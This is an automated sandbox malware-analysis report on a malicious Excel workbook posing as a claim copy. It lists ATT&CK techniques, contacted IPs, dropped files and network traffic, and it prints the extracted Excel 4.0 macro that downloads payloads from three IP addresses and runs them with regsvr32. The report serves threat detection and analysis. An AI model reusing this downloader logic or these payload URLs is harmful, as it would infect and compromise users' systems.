Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting2	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Security Software Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution22	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Virtualization/Sandbox Evasion1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer4	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection2	NTDS	File and Directory Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting2	LSA Secrets	System Information Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ClaimCopy-46148734-12012021.xlsb	22%	ReversingLabs	Document-Excel.Downloader.EncDoc

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://185.106.123.73/882070564739.dat2	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://94.140.114.63/882070564739.dat2v	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://146.19.170.39/882070564739.dat	0%	Avira URL Cloud	safe
http://94.140.114.63/882070564739.dat2	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://146.19.170.39/882070564739.dat2	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://185.106.123.73/882070564739.dat2l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://146.19.170.39/882070564739.dat	false	Avira URL Cloud: safe	unknown
http://146.19.170.39/882070564739.dat2	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	false		high
http://185.106.123.73/882070564739.dat2	EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com	regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	false		high
http://www.icra.org/vocabulary/.	EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000006.00000002.1029683000.0000000003A30000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1029703735.0000000003A00000.00000002.00020000.sdmp	false		high
http://94.140.114.63/882070564739.dat2v	EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com/	regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	regsvr32.exe, 00000006.00000002.1029683000.0000000003A30000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1029703735.0000000003A00000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1029751189.0000000003B90000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://94.140.114.63/882070564739.dat2	EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000006.00000002.1029074301.0000000001CC0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1029070172.0000000001C00000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1029094968.0000000001E00000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://185.106.123.73/882070564739.dat2l	EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
94.140.114.63	unknown	Latvia	43513	NANO-ASLV	false
146.19.170.39	unknown	France	7726	FITC-ASUS	false
185.106.123.73	unknown	Netherlands	60117	HSAE	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532405
Start date:	02.12.2021
Start time:	08:21:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ClaimCopy-46148734-12012021.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.evad.winXLSB@13/5@0/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 6
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, WMIADAP.exe, svchost.exe Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:25:14	API Interceptor	3x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
94.140.114.63	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63/970570982083.dat2
	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63/252721981979.dat2
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63/275357943433.dat2
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63/978921912550.dat2
146.19.170.39	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39/970570982083.dat2
	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39/252721981979.dat2
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39/275357943433.dat2
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39/978921912550.dat2
185.106.123.73	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73/970570982083.dat2
	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73/252721981979.dat2
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73/275357943433.dat2
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73/978921912550.dat2

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HSAE	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73
	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	185.106.123.73
	Injector.exe	Get hash	malicious	Browse	185.45.192.75
	FiveM Mod Menu.exe	Get hash	malicious	Browse	185.117.75.101
	ed443eM9cD.exe	Get hash	malicious	Browse	185.45.192.195
	nHVX85m7zN.exe	Get hash	malicious	Browse	185.117.75.101
	hBGC6OlGij.exe	Get hash	malicious	Browse	185.183.98.26
	CNSL-1741057625-Nov-22.xlsb	Get hash	malicious	Browse	194.36.191.10
	CNSL-1741057625-Nov-22.xlsb	Get hash	malicious	Browse	194.36.191.10
	59716B314BA0D53B7E8DE32A73AF01B7B383834BF038C.exe	Get hash	malicious	Browse	185.117.73.188
	k6DHxiWpKQ.exe	Get hash	malicious	Browse	185.183.96.27
	FE3AE99417E0D632995AD5CEECCC4C0B308B8A30D2C93.exe	Get hash	malicious	Browse	185.117.73.188
	Compl-598085012-Nov-08.xlsm	Get hash	malicious	Browse	185.82.200.35
	Compl-1665615498-Nov-08.xlsm	Get hash	malicious	Browse	185.82.200.35
	Compl-1665615498-Nov-08.xlsm	Get hash	malicious	Browse	185.82.200.35
	Compl-1882695829-Nov-08.xlsm	Get hash	malicious	Browse	185.82.200.35
	Compl-1882695829-Nov-08.xlsm	Get hash	malicious	Browse	185.82.200.35
	Compl-1209358085-Nov-08.xlsm	Get hash	malicious	Browse	185.82.200.35
NANO-ASLV	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63
	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	94.140.114.63
	NkvaVLGroW	Get hash	malicious	Browse	83.241.57.84
	date1%3fBNLv65=pAAS.dll	Get hash	malicious	Browse	94.140.114.61
	PO-0377409-029.xls	Get hash	malicious	Browse	94.140.115.0
	5AHyELsVLZ.exe	Get hash	malicious	Browse	94.140.115.160
	1B0DAF8B1B8A09AE26A72E30FA638B000A991A7DFAF7C.exe	Get hash	malicious	Browse	94.140.115.160
	3ObdCtruss	Get hash	malicious	Browse	85.254.18.140
	lbbXpFFkIN.exe	Get hash	malicious	Browse	94.140.115.152
	eNrYzJWFvB	Get hash	malicious	Browse	83.241.94.64
	GU5kmLwV7r.exe	Get hash	malicious	Browse	94.140.115.194
	peSZa2MV75.exe	Get hash	malicious	Browse	94.140.115.194
	Comprobante de pago.doc	Get hash	malicious	Browse	141.136.0.32
	Comprobante de pago (OCT).xls	Get hash	malicious	Browse	141.136.0.32
	qO7zg5QKAX.exe	Get hash	malicious	Browse	94.140.114.128
	SCahhGpqlT	Get hash	malicious	Browse	83.241.82.55
	epEWIyE6GY	Get hash	malicious	Browse	83.241.70.50
	cM5cZsOugg	Get hash	malicious	Browse	83.241.82.63
FITC-ASUS	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39
	ClaimCopy-1485093510-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39
	ClaimCopy-1603117211-12012021.xlsb	Get hash	malicious	Browse	146.19.170.39
	Ljm7n1QDZe	Get hash	malicious	Browse	170.86.31.136
	arm-20211124-0649	Get hash	malicious	Browse	161.135.107.178
	sora.x86	Get hash	malicious	Browse	155.161.132.181
	kQONXU7aie	Get hash	malicious	Browse	170.86.182.169
	6L1AGNUMgk	Get hash	malicious	Browse	170.170.111.2
	Ti6gpYKquB	Get hash	malicious	Browse	161.135.250.102
	91ZRvk3C5d	Get hash	malicious	Browse	170.86.78.185
	4eF0vu40EM	Get hash	malicious	Browse	146.19.118.43
	sora.arm7	Get hash	malicious	Browse	199.81.85.172
	QISwaj96QZ	Get hash	malicious	Browse	198.140.20.204
	bKHI9UT0D1	Get hash	malicious	Browse	146.18.97.183
	R9kV5GcwPz	Get hash	malicious	Browse	170.86.31.144
	bqrHRKVNod	Get hash	malicious	Browse	170.86.31.149
	sora.x86	Get hash	malicious	Browse	170.5.226.185
	yqYt9HH2OY	Get hash	malicious	Browse	192.189.190.143
	jd6caIAf2C	Get hash	malicious	Browse	155.161.220.123

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F5C3290.jpg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1098x988, frames 3
Category:	dropped
Size (bytes):	85681
Entropy (8bit):	7.915850776614707
Encrypted:	false
SSDEEP:	1536:wB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUw:Pc6EehCfCZpUHKGXbBKsiit
MD5:	4F100E2CEFED046B44EC799015B454EF
SHA1:	5149E5D1B5212C77B3548914E9B47D67B4BEA574
SHA-256:	D30B441AB0E88A1487F29A80D63E2A4865A3F5DF7854FB8359B354397F807E2C
SHA-512:	153581151434815CC17E88D587FF6A6AF8F7154B4A05146453A9814F662C68D79F1063BDD9F789A1DB2F5818D199EF600703F8BC35785B0705332EC231F35A14
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF...........................................'......'#" "#>1++1>H<9<HWNNWmhm................................'......'#" "#>1++1>H<9<HWNNWmhm...........J..".................................................".............................................................q.[..+...*...K.... ..............?.......g....6..)....=~....................w5...........7_.-.......k.../...;.........!.z%o..w!....,.............?...Gs?.].......C..P~i.._.=..`....{...w....."..-........:..d.....................;z7)...~g........C....v..\..O.....0...v........v... ............A...;.~Y.}.....MsC.~..5..?.;.........V7....G...b..~...........@................O.}...o4.s_...z78.1.yl...X~.u..~..S....J..V~S..x.u~.. ..............@....u..m....rGrf.P.._+Z..?AW..~..u.G....................o&..................................................................9.0...H.Zx...M.y.[kW..o......;.....z......}v.m..[R.i....R..m....+.J............r6.P....\|s..].vO._.}..K.]-V.U=9}........W......3.....G.t}Y

C:\Users\user\Desktop\12260000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	98319
Entropy (8bit):	7.829516708837839
Encrypted:	false
SSDEEP:	1536:sB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUdvgJT:bc6EehCfCZpUHKGXbBKsiix
MD5:	109A55D7849B3834E28D9B6C6DEC942E
SHA1:	48A7BFC52B4DD1FD830D4FA450EB499084A954DD
SHA-256:	135ADD4D95F6069C03E719C8B7190794FCF9A72A7D7147217E233346556C04A1
SHA-512:	261393EEBBA20E96B130FF171925493F29F9286EF5D43EDE6C6189EF4C47F57C4D14DCD9A6B2E0672DD645FB7B4A6DAC2F55267E9945AAFC7782090B8FF148A3
Malicious:	false
Reputation:	low
Preview:	PK..........!.......R.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0....?..."..(..r.y.9......q-1.H....wI;n+X...".53...rq.w.x........`k..m........i................X.6F.M..[.$r...........e.,..g...Q;...2&..\\.J..X\..z..GmYq../IULzot-#-T.Z.;,...pl."'..k..:.++.../.X.^.......E.u.........l.(./...qO...t..{..$...[A+(.d..eG..l<G.B.h..<.2`..1....)....*.'....n.H..~N.r6%..^v.3I......=Ejw..:..=u..j.kP.~.h..L..O#E.qm.... ....2....&.4...T.........<9...!.,?x>.[.o...R......B.}..G:..L...

C:\Users\user\Desktop\12260000:Zone.Identifier Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\ClaimCopy-46148734-12012021.xlsb.E (copy) Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	98319
Entropy (8bit):	7.829516708837839
Encrypted:	false
SSDEEP:	1536:sB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUdvgJT:bc6EehCfCZpUHKGXbBKsiix
MD5:	109A55D7849B3834E28D9B6C6DEC942E
SHA1:	48A7BFC52B4DD1FD830D4FA450EB499084A954DD
SHA-256:	135ADD4D95F6069C03E719C8B7190794FCF9A72A7D7147217E233346556C04A1
SHA-512:	261393EEBBA20E96B130FF171925493F29F9286EF5D43EDE6C6189EF4C47F57C4D14DCD9A6B2E0672DD645FB7B4A6DAC2F55267E9945AAFC7782090B8FF148A3
Malicious:	true
Preview:	PK..........!.......R.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0....?..."..(..r.y.9......q-1.H....wI;n+X...".53...rq.w.x........`k..m........i................X.6F.M..[.$r...........e.,..g...Q;...2&..\\.J..X\..z..GmYq../IULzot-#-T.Z.;,...pl."'..k..:.++.../.X.^.......E.u.........l.(./...qO...t..{..$...[A+(.d..eG..l<G.B.h..<.2`..1....)....*.'....n.H..~N.r6%..^v.3I......=Ejw..:..=u..j.kP.~.h..L..O#E.qm.... ....2....&.4...T.........<9...!.,?x>.[.o...R......B.}..G:..L...

C:\Users\user\Desktop\~$ClaimCopy-46148734-12012021.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.829986417947683
TrID:	Microsoft Excel Office Binary workbook document (40504/1) 83.51% ZIP compressed archive (8000/1) 16.49%
File name:	ClaimCopy-46148734-12012021.xlsb
File size:	98558
MD5:	f1107ae8c76f3ac6c7691fa5a857b206
SHA1:	b69597b25562a96547402d9bcadc096a340b8a69
SHA256:	85278a1649ffd17dae84fce72827f804b0091b907efd841ac95f6b4644fd8d5a
SHA512:	c861360e6f69811f7e4be22885e58e0c233ee409f83ee560e796e4038024d49c5675bde2c2cab45df5dcd94ee83324fac47b5aefd0835327e1a8af17e41f26ef
SSDEEP:	1536:whNB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsU3Tds:O0c6EehCfCZpUHKGXbBKsiiCds
File Content Preview:	PK..........!..]j.....R.......[Content_Types].xml ...(.....................................................................................................................................FF..................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "ClaimCopy-46148734-12012021.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

8,6,=Drozd(0,"http://"&Tiposa!E21&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet1.ocx",0,0)
9,6,=Drozd(0,"http://"&Tiposa!E22&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet2.ocx",0,0)
10,6,=Drozd(0,"http://"&Tiposa!E23&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet3.ocx",0,0)
11,6,=Drozd(0,"http://"&Tiposa!E24&Tiposa!G22&Tiposa!G24,"C:\ProgramData\Volet4.ocx",0,0)
12,6,=Drozd(0,"http://"&Tiposa!E25&Tiposa!G22&Tiposa!G24,"C:\ProgramData\Volet5.ocx",0,0)
13,6,=Drozd(0,"http://"&Tiposa!E26&Tiposa!G22&Tiposa!G24,"C:\ProgramData\Volet6.ocx",0,0)
15,6,=EXEC("regsvr32  C:\ProgramData\Volet1.ocx")
16,6,=EXEC("regsvr32 C:\ProgramData\Volet2.ocx")
17,6,=EXEC("regsvr32 C:\ProgramData\Volet3.ocx")
18,6,=EXEC("regsvr32 -e -n -i:&Tiposa!G22&  C:\ProgramData\Volet4.ocx")
19,6,=EXEC("regsvr32 -e -n -i:&Tiposa!G22&  C:\ProgramData\Volet5.ocx")
20,6,=EXEC("regsvr32 -e -n -i:&Tiposa!G22&  C:\ProgramData\Volet6.ocx")
23,6,=HALT()

16,3,uRl
17,3,="Mon"
18,3,="URLDownloadTo"
19,3,="JJCCBB"
20,4,185.106.123.73/
21,4,146.19.170.39/
21,6,=RANDBETWEEN(142536473,988879789754)
22,4,94.140.114.63/
22,6,=".dat"
23,4,94.140.114.63/
23,6,=".dat2"
24,4,185.106.123.73/
24,6,=REGISTER(D17&D18,D19&"FileA",D20,"Drozd",,1,9)
25,4,146.19.170.39/
37,6,=GOTO(Tiposa1!G8)

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/02/21-08:22:02.281420	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:22:02.281462	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:22:08.529732	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:22:21.359317	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:22:26.313483	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:22:30.295440	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:22:41.648286	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49167	146.19.170.39	192.168.2.22
12/02/21-08:24:09.205154	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:24:15.511167	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:24:29.247078	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:24:32.918862	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:24:35.960823	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.106.123.67	192.168.2.22
12/02/21-08:24:48.200067	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49175	146.19.170.39	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 08:21:59.245469093 CET	49165	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:22:02.250252962 CET	49165	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:22:08.256751060 CET	49165	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:22:20.272634029 CET	49166	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:22:23.281136990 CET	49166	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:22:29.287617922 CET	49166	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:22:41.348845005 CET	49167	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:22:41.408149958 CET	80	49167	146.19.170.39	192.168.2.22
Dec 2, 2021 08:22:41.408358097 CET	49167	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:22:41.409698963 CET	49167	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:22:41.468642950 CET	80	49167	146.19.170.39	192.168.2.22
Dec 2, 2021 08:22:41.648286104 CET	80	49167	146.19.170.39	192.168.2.22
Dec 2, 2021 08:22:41.648520947 CET	49167	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:22:41.678699970 CET	49168	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:22:44.686182976 CET	49168	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:22:50.692778111 CET	49168	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:02.708092928 CET	49169	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:05.716710091 CET	49169	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:11.723367929 CET	49169	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:23.750586987 CET	49170	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:26.763032913 CET	49170	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:32.769552946 CET	49170	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:44.784657001 CET	49171	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:46.652292967 CET	80	49167	146.19.170.39	192.168.2.22
Dec 2, 2021 08:23:46.652539968 CET	49167	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:23:47.793701887 CET	49171	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:23:50.789545059 CET	49167	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:23:50.848592997 CET	80	49167	146.19.170.39	192.168.2.22
Dec 2, 2021 08:23:53.800252914 CET	49171	80	192.168.2.22	94.140.114.63
Dec 2, 2021 08:24:05.851381063 CET	49173	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:24:08.855582952 CET	49173	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:24:14.862256050 CET	49173	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:24:26.877198935 CET	49174	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:24:29.886161089 CET	49174	80	192.168.2.22	185.106.123.73
Dec 2, 2021 08:24:35.892690897 CET	49174	80	192.168.2.22	185.106.123.73
